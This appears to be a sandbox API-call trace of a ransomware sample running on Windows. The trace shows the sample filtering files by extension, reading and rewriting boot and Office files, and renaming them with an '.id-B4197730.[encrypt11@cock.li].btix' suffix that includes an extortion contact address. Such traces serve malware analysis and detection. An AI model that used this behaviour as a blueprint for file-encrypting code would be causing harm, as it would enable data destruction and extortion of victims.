[0162.266] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0162.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0162.266] lstrlenW (lpString=".zip") returned 4 [0162.266] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0162.266] lstrlenW (lpString=".rar") returned 4 [0162.266] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0162.266] lstrlenW (lpString=".bz2") returned 4 [0162.266] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0162.266] lstrlenW (lpString=".7z") returned 3 [0162.266] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0162.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0162.266] lstrlenW (lpString=".dbf") returned 4 [0162.266] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0162.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0162.266] lstrlenW (lpString=".1cd") returned 4 [0162.266] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0162.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68 [0162.266] lstrlenW (lpString=".jpg") returned 4 [0162.266] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0162.267] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.267] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0162.267] GetLastError () returned 0x0 [0162.267] ReadFile (in: hFile=0x354, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0xfa976, lpOverlapped=0x0) returned 1 [0162.282] WriteFile (in: hFile=0x374, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xfa980, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xfa980, lpOverlapped=0x0) returned 1 [0162.295] ReadFile (in: hFile=0x354, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.295] WriteFile (in: hFile=0x374, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x10c, lpOverlapped=0x0) returned 1 [0162.295] SetEndOfFile (hFile=0x374) returned 1 [0162.295] CloseHandle (hObject=0x374) returned 1 [0162.295] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.295] SetEndOfFile (hFile=0x354) Thread: id = 103 os_tid = 0xfe4 [0146.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3be0e50 [0146.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x4160048 [0146.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6befc8 [0146.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6fa348 [0146.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6befe0 [0146.495] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x436a020 [0146.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf3a0 [0146.497] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bf3a0, Size=0x20) returned 0x69db28 [0146.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf388 [0146.497] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bf388, Size=0x20) returned 0x69dba0 [0146.497] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.497] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.498] Wow64DisableWow64FsRedirection (in: OldValue=0x379ff50 | out: OldValue=0x379ff50*=0x0) returned 1 [0146.498] lstrlenW (lpString="kernel32.dll") returned 12 [0146.498] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69db28 | out: hHeap=0x660000) returned 1 [0146.498] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.498] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dba0 | out: hHeap=0x660000) returned 1 [0146.498] Sleep (dwMilliseconds=0x64) [0146.697] lstrcmpiW (lpString1=".MARKER", lpString2=".btix") returned 1 [0146.697] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0146.697] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0146.700] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=0) returned 1 [0146.700] CloseHandle (hObject=0x300) returned 1 [0146.700] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0146.700] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0146.700] lstrlenW (lpString=".doc") returned 4 [0146.700] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0146.700] lstrlenW (lpString=".docx") returned 5 [0146.700] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0146.700] lstrlenW (lpString=".pdf") returned 4 [0146.700] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0146.700] lstrlenW (lpString=".xls") returned 4 [0146.700] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0146.700] lstrlenW (lpString=".xlsx") returned 5 [0146.700] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0146.700] lstrlenW (lpString=".ppt") returned 4 [0146.700] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0146.700] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0146.700] lstrlenW (lpString=".zip") returned 4 [0146.700] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0146.701] lstrlenW (lpString=".rar") returned 4 [0146.701] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0146.701] lstrlenW (lpString=".bz2") returned 4 [0146.701] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0146.701] lstrlenW (lpString=".7z") returned 3 [0146.701] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0146.701] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0146.701] lstrlenW (lpString=".dbf") returned 4 [0146.701] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0146.701] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0146.701] lstrlenW (lpString=".1cd") returned 4 [0146.701] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0146.701] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0146.701] lstrlenW (lpString=".jpg") returned 4 [0146.701] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0146.701] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0146.701] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0146.701] lstrlenW (lpString=".doc") returned 4 [0146.701] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0146.701] lstrlenW (lpString=".docx") returned 5 [0146.701] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0146.701] lstrlenW (lpString=".pdf") returned 4 [0146.701] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0146.701] lstrlenW (lpString=".xls") returned 4 [0146.701] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0146.701] lstrlenW (lpString=".xlsx") returned 5 [0146.701] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0146.701] lstrlenW (lpString=".ppt") returned 4 [0146.701] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0146.701] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0146.701] lstrlenW (lpString=".zip") returned 4 [0146.701] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0146.701] lstrlenW (lpString=".rar") returned 4 [0146.701] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0146.701] lstrlenW (lpString=".bz2") returned 4 [0146.701] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0146.702] lstrlenW (lpString=".7z") returned 3 [0146.702] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0146.702] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0146.702] lstrlenW (lpString=".dbf") returned 4 [0146.702] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0146.702] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0146.702] lstrlenW (lpString=".1cd") returned 4 [0146.702] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0146.702] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0146.702] lstrlenW (lpString=".jpg") returned 4 [0146.702] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0146.702] Sleep (dwMilliseconds=0x64) [0146.918] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0146.918] lstrlenW (lpString="bootspaces.dll") returned 14 [0146.918] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0146.919] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=95648) returned 1 [0146.919] CloseHandle (hObject=0x34c) returned 1 [0146.919] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0146.919] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0146.919] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.919] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0146.919] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0146.919] lstrlenW (lpString=".doc") returned 4 [0146.919] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0146.919] lstrlenW (lpString=".docx") returned 5 [0146.919] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0146.919] lstrlenW (lpString=".pdf") returned 4 [0146.919] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0146.919] lstrlenW (lpString=".xls") returned 4 [0146.919] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0146.919] lstrlenW (lpString=".xlsx") returned 5 [0146.919] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0146.919] lstrlenW (lpString=".ppt") returned 4 [0146.920] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0146.920] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0146.920] lstrlenW (lpString=".zip") returned 4 [0146.920] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0146.920] lstrlenW (lpString=".rar") returned 4 [0146.920] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0146.920] lstrlenW (lpString=".bz2") returned 4 [0146.920] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0146.920] lstrlenW (lpString=".7z") returned 3 [0146.920] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0146.920] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0146.920] lstrlenW (lpString=".dbf") returned 4 [0146.920] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0146.920] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0146.920] lstrlenW (lpString=".1cd") returned 4 [0146.920] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0146.920] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0146.920] lstrlenW (lpString=".jpg") returned 4 [0146.920] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0146.920] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0146.920] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0146.920] lstrlenW (lpString=".doc") returned 4 [0146.920] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0146.920] lstrlenW (lpString=".docx") returned 5 [0146.920] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0146.920] lstrlenW (lpString=".pdf") returned 4 [0146.920] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0146.920] lstrlenW (lpString=".xls") returned 4 [0146.920] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0146.920] lstrlenW (lpString=".xlsx") returned 5 [0146.920] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0146.920] lstrlenW (lpString=".ppt") returned 4 [0146.920] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0146.920] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0146.921] lstrlenW (lpString=".zip") returned 4 [0146.921] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0146.921] lstrlenW (lpString=".rar") returned 4 [0146.921] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0146.921] lstrlenW (lpString=".bz2") returned 4 [0146.921] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0146.921] lstrlenW (lpString=".7z") returned 3 [0146.921] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0146.921] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0146.921] lstrlenW (lpString=".dbf") returned 4 [0146.921] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0146.921] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0146.921] lstrlenW (lpString=".1cd") returned 4 [0146.921] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0146.921] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0146.921] lstrlenW (lpString=".jpg") returned 4 [0146.921] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0146.921] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0146.921] lstrlenW (lpString="bootvhd.dll") returned 11 [0146.921] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0146.921] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=99744) returned 1 [0146.921] CloseHandle (hObject=0x34c) returned 1 [0146.921] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0146.922] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0146.922] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.922] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0146.922] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0146.922] lstrlenW (lpString=".doc") returned 4 [0146.922] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0146.922] lstrlenW (lpString=".docx") returned 5 [0146.922] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0146.922] lstrlenW (lpString=".pdf") returned 4 [0146.922] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0146.922] lstrlenW (lpString=".xls") returned 4 [0146.922] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0146.922] lstrlenW (lpString=".xlsx") returned 5 [0146.922] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0146.922] lstrlenW (lpString=".ppt") returned 4 [0146.922] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0146.922] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0146.922] lstrlenW (lpString=".zip") returned 4 [0146.922] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0146.922] lstrlenW (lpString=".rar") returned 4 [0146.922] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0146.922] lstrlenW (lpString=".bz2") returned 4 [0146.922] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0146.922] lstrlenW (lpString=".7z") returned 3 [0146.922] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0146.922] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0146.922] lstrlenW (lpString=".dbf") returned 4 [0146.922] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0146.922] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0146.922] lstrlenW (lpString=".1cd") returned 4 [0146.922] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0146.922] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0146.923] lstrlenW (lpString=".jpg") returned 4 [0146.923] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0146.923] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0146.923] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0146.923] lstrlenW (lpString=".doc") returned 4 [0146.923] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0146.923] lstrlenW (lpString=".docx") returned 5 [0146.923] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0146.923] lstrlenW (lpString=".pdf") returned 4 [0146.923] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0146.923] lstrlenW (lpString=".xls") returned 4 [0146.923] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0146.923] lstrlenW (lpString=".xlsx") returned 5 [0146.923] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0146.923] lstrlenW (lpString=".ppt") returned 4 [0146.923] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0146.923] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0146.923] lstrlenW (lpString=".zip") returned 4 [0146.923] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0146.923] lstrlenW (lpString=".rar") returned 4 [0146.923] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0146.923] lstrlenW (lpString=".bz2") returned 4 [0146.923] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0146.923] lstrlenW (lpString=".7z") returned 3 [0146.923] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0146.923] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0146.923] lstrlenW (lpString=".dbf") returned 4 [0146.923] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0146.923] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0146.923] lstrlenW (lpString=".1cd") returned 4 [0146.923] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0146.923] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0146.923] lstrlenW (lpString=".jpg") returned 4 [0146.923] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0146.924] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0146.924] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0146.924] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0146.924] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=76632) returned 1 [0146.924] CloseHandle (hObject=0x34c) returned 1 [0146.924] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0146.924] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.174] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.174] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.174] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.174] lstrlenW (lpString=".doc") returned 4 [0147.174] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.174] lstrlenW (lpString=".docx") returned 5 [0147.174] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.174] lstrlenW (lpString=".pdf") returned 4 [0147.174] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.174] lstrlenW (lpString=".xls") returned 4 [0147.174] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.174] lstrlenW (lpString=".xlsx") returned 5 [0147.174] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.174] lstrlenW (lpString=".ppt") returned 4 [0147.174] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.174] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.174] lstrlenW (lpString=".zip") returned 4 [0147.174] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.174] lstrlenW (lpString=".rar") returned 4 [0147.174] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.174] lstrlenW (lpString=".bz2") returned 4 [0147.174] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.174] lstrlenW (lpString=".7z") returned 3 [0147.174] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.174] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.174] lstrlenW (lpString=".dbf") returned 4 [0147.174] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.174] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.175] lstrlenW (lpString=".1cd") returned 4 [0147.175] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.175] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.175] lstrlenW (lpString=".jpg") returned 4 [0147.175] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.175] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.175] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.175] lstrlenW (lpString=".doc") returned 4 [0147.175] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.175] lstrlenW (lpString=".docx") returned 5 [0147.175] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.175] lstrlenW (lpString=".pdf") returned 4 [0147.175] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.175] lstrlenW (lpString=".xls") returned 4 [0147.175] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.175] lstrlenW (lpString=".xlsx") returned 5 [0147.175] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.175] lstrlenW (lpString=".ppt") returned 4 [0147.175] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.175] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.175] lstrlenW (lpString=".zip") returned 4 [0147.175] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.175] lstrlenW (lpString=".rar") returned 4 [0147.175] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.175] lstrlenW (lpString=".bz2") returned 4 [0147.175] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.175] lstrlenW (lpString=".7z") returned 3 [0147.175] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.175] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.175] lstrlenW (lpString=".dbf") returned 4 [0147.175] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.175] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.175] lstrlenW (lpString=".1cd") returned 4 [0147.175] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.175] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.176] lstrlenW (lpString=".jpg") returned 4 [0147.176] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.176] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0147.176] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0147.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.176] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=2776664) returned 1 [0147.176] CloseHandle (hObject=0x338) returned 1 [0147.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0147.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.176] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft 